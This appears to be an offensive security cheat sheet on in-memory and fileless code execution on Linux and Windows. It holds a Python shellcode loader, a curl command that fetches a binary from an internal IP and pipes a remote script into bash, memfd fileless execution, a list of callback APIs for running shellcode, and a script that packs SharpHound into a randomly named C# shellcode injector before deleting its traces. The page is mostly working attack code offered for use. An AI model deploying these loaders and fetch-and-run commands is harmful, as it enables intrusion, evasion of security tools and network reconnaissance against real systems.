Linux In-Memory Code Execution
Memory Manipulation with Python
Copy $ gcc hello.c -fno-stack-protector -fPIE -fpic -static --entry=main -o hello
$ python3 -m shelf --input hello
$ python3 run_sc.py
Copy # https://blog.sektor7.net/#!res/2018/pure-in-memory-linux.md#Python
from ctypes import (CDLL , c_void_p , c_size_t , c_int , c_long , memmove , CFUNCTYPE , cast , pythonapi)
from ctypes . util import find_library
PROT_READ = 0x 01
PROT_WRITE = 0x 02
PROT_EXEC = 0x 04
MAP_PRIVATE = 0x 02
MAP_ANONYMOUS = 0x 20
with open ( 'hellointel_x64.out.shell' , 'rb' ) as f :
sc = f . read ()
libc = CDLL ( find_library ( 'c' ))
mmap = libc . mmap
mmap . argtypes = [c_void_p , c_size_t , c_int , c_int , c_int , c_size_t]
mmap . restype = c_void_p
page_size = pythonapi . getpagesize ()
sc_size = len (sc)
mem_size = page_size * ( 1 + sc_size / page_size)
cptr = mmap ( 0 , int (mem_size), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, - 1 , 0 )
memmove (cptr, sc, sc_size)
sc = CFUNCTYPE (c_void_p, c_void_p)
call_sc = cast (cptr, sc)
call_sc ( None )
Copy $1 base64 /bin/ls -w0 > ls.b64
$2 curl -sS 10.10.13.37/ls.b64 | bash <(curl -sSL https://github.com/arget13/DDexec/raw/main/ddexec.sh) /bin/NonExistentBinary -la
Another trick to do semi-fileless ELF execution with a pre-created process descriptor:
Copy $ python3 -c 'import os;os.fork()or(os.setsid(),print(f"/proc/{os.getpid()}/fd/{os.memfd_create(str())}"),os.kill(os.getpid(),19))'
$ cat /usr/bin/date > /proc/1732982/fd/4
$ /proc/1732982/fd/4
DLL Hollowing / Module Stomping
Variations of (Phantom) DLL Hollowing
Function Stomping / Threadless Injection
Shellcode In-Memory Fluctuation (Obfuscate and Sleep)
Copy PS > curl https://github.com/forrest-orr/moneta/releases/download/1.0/Moneta64.exe -o Moneta64.exe
PS > .\Moneta64.exe -p ((Get-Process notepad).Id) -m region --address 0xd34dc0d31000
An alternative way to get the nearest return address in current stack frame (besides _ReturnAddress and _AddressOfReturnAddress ) without manually walking the stack:
Copy #include <intrin.h>
#include <windows.h>
#include <iostream>
#include <sstream>
#include <iomanip>
// https://github.com/mgeeky/ThreadStackSpoofer/blob/f67caea38a7acdb526eae3aac7c451a08edef6a9/ThreadStackSpoofer/header.h#L38-L45
template < class ... Args >
void log ( Args ... args)
{
std :: stringstream oss;
(oss << ... << args);
std :: cout << oss . str () << std :: endl;
}
// https://github.com/mgeeky/ThreadStackSpoofer/blob/f67caea38a7acdb526eae3aac7c451a08edef6a9/ThreadStackSpoofer/main.cpp#L13-L14
void addressOfReturnAddress () {
auto pRetAddr = (PULONG_PTR) _AddressOfReturnAddress (); // https://doxygen.reactos.org/d6/d8c/intrin__ppc_8h_source.html#l00040
log ( "Original return address via _AddressOfReturnAddress: 0x" , std :: hex , std :: setw ( 8 ) , std :: setfill ( '0' ) , * pRetAddr);
}
// https://stackoverflow.com/a/1334586/6253579
void rtlCaptureStackBackTrace () {
typedef USHORT (WINAPI * CaptureStackBackTraceType)(__in ULONG , __in ULONG , __out PVOID * , __out_opt PULONG);
CaptureStackBackTraceType RtlCaptureStackBackTrace = (CaptureStackBackTraceType)( GetProcAddress ( LoadLibrary ( "ntdll.dll" ) , "RtlCaptureStackBackTrace" ));
void* callers [ 2 ] = { NULL };
int count = (RtlCaptureStackBackTrace)( 1 , 2 , callers , NULL );
log ( "Original return address via RtlCaptureStackBackTrace: 0x" , std :: hex , std :: setw ( 8 ) , std :: setfill ( '0' ) , (DWORD64) callers [ 0 ]);
}
int main ( int argc , char** argv)
{
addressOfReturnAddress ();
rtlCaptureStackBackTrace ();
return 0 ;
}
Avoid PsSetCreateThreadNotifyRoutine
SystemFunction032 / SystemFunction033
SystemFunction040 / SystemFunction041
Shellcode Execution via Callbacks
Copy CallWindowProc
CertEnumSystemStore
CertEnumSystemStoreLocation
CopyFile2
CopyFileEx
CryptEnumOIDInfo
EnumCalendarInfo
EnumCalendarInfoEx
EnumCalendarInfoExEx
EnumChildWindows
EnumDateFormats
EnumDesktopWindows
EnumDesktops
EnumDirTree
EnumDisplayMonitors
EnumFontFamilies
EnumFontFamiliesEx
EnumFonts
EnumLanguageGroupLocales
EnumObjects
EnumPageFiles
EnumPwrSchemes
EnumResourceTypes
EnumResourceTypesEx
EnumSystemCodePages
EnumSystemGeoID
EnumSystemLanguageGroups
EnumSystemLocales
EnumSystemLocalesEx
EnumThreadWindows
EnumTimeFormats
EnumTimeFormatsEx
EnumUILanguages
EnumWindowStations
EnumWindows
EnumerateLoadedModules
EnumerateLoadedModulesEx
ImageGetDigestStream
ImmEnumInputContext
InitOnceExecuteOnce
LdrEnumerateLoadedModules
LineDDA
NotifyIpInterfaceChange
NotifyRouteChange2
NotifyTeredoPortChange
NotifyUnicastIpAddressChange
SetupCommitFileQueue
SymEnumProcesses
SymFindFileInPath
VerifierEnumerateResource
Copy RNDNAME = ` curl -sL https://github.com/snovvcrash/WeaponizeKali.sh/raw/main/misc/binaries.txt | shuf -n1 `
wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe -qO /tmp/SharpHound.exe
# --ldapusername snovvcrash --ldappassword Passw0rd!
~/tools/PEzor/deps/donut/donut -a2 -z2 -i /tmp/SharpHound.exe -p '--CollectionMethod All,LoggedOn --NoSaveCache --OutputDirectory C:\Windows\Tasks --ZipFilename sweetbl.zip' -o /tmp/SharpHound.bin
BUF = ` xxd -i /tmp/SharpHound.bin | head -n-2 | tail -n+2 | tr -d ' ' | tr -d '\n'`
BUFSIZE = ` xxd -i /tmp/SharpHound.bin | tail -n1 | awk '{print $5}' | tr -d ';\n'`
cat << EOF > "/tmp/$RNDNAME.cs"
using System;
using System.Runtime.InteropServices;
namespace Sh4rpH0und
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, ulong dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
static void Main(string[] args)
{
byte[] buf = new byte[$BUFSIZE] { $BUF };
IntPtr addr = VirtualAlloc(IntPtr.Zero, (ulong)buf.Length, 0x1000, 0x40);
Marshal.Copy(buf, 0, addr, buf.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
EOF
mcs -platform:x64 -t:winexe "/tmp/$RNDNAME.cs" -out: "$RNDNAME.exe"
file "$RNDNAME.exe"
rm "/tmp/SharpHound.exe" "/tmp/SharpHound.bin" "/tmp/$RNDNAME.cs"
Copy $assembly = "\path\to\csharp\binary.exe"
$stream = [ System.IO.File ]::OpenRead($assembly)
$peReader = [ System.Reflection.PortableExecutable.PEReader ]::new($stream , [ System.Reflection.PortableExecutable.PEStreamOptions ]::LeaveOpen -bor [ System.Reflection.PortableExecutable.PEStreamOptions ]::PrefetchMetadata)
$metadataReader = [ System.Reflection.Metadata.PEReaderExtensions ]::GetMetadataReader($peReader)
$assemblyDefinition = $metadataReader.GetAssemblyDefinition()
foreach ($typeHandler in $metadataReader.TypeDefinitions) {
$typeDef = $metadataReader.GetTypeDefinition($typeHandler)
foreach ($methodHandler in $typeDef.GetMethods()) {
$methodDef = $metadataReader.GetMethodDefinition($methodHandler)
$import = $methodDef.GetImport()
if ($import.Module.IsNil) {
continue
}
$dllImportFuncName = $metadataReader.GetString($import.Name)
$dllImportParameters = $import.Attributes.ToString()
$dllImportPath = $metadataReader.GetString($metadataReader.GetModuleReference($import.Module).Name)
Write-Host "$dllImportPath, $dllImportParameters`n$dllImportFuncName`n"
}
}
Copy ([ System.Reflection.Assembly ]::LoadFile( "\path\to\csharp\binary.exe" )).GetTypes() | % { $_.GetMethods ([ Reflection.BindingFlags ]::Public -bxor [ Reflection.BindingFlags ]::NonPublic -bxor [ Reflection.BindingFlags ]:: Static ) | ? { $_.Attributes -band [ Reflection.MethodAttributes ]::PinvokeImpl}} | fl - Property Name , DeclaringType , CustomAttributes